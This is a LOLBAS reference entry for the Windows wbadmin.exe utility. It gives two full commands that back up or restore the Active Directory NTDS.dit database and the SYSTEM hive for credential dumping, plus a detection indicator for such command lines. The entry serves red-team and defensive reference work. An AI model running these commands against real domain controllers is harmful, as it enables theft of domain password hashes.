LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

wbadmin.exe

View source

Windows Backup Administration utility

Dump
02COMMAND EXAMPLES
01ATT&CK TECHNIQUES
03DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

2 examples

Dump2

EXAMPLE 01T1003.003

Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx)

COMMAND
wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet
USE CASE
Snapshoting of Active Directory NTDS.dit database
PRIVILEGES
Administrator, Backup Operators, SeBackupPrivilege
OPERATING SYSTEM
Windows Server
EXAMPLE 02T1003.003

Restore a version of NTDS.dit and SYSTEM hive into file path. The command `wbadmin get versions` can be used to find version identifiers.

COMMAND
wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:{PATH_ABSOLUTE:folder} -itemtype:file -items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quiet
USE CASE
Dumping of Active Directory NTDS.dit database
PRIVILEGES
Administrator, Backup Operators, SeBackupPrivilege
OPERATING SYSTEM
Windows Server
02 / ON DISK

Known paths

C:\Windows\System32\wbadmin.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

3 resources

Indicators & detection notes

  • IOC

    wbadmin.exe command lines containing "NTDS" or "NTDS.dit"

FURTHER READING

Research & resources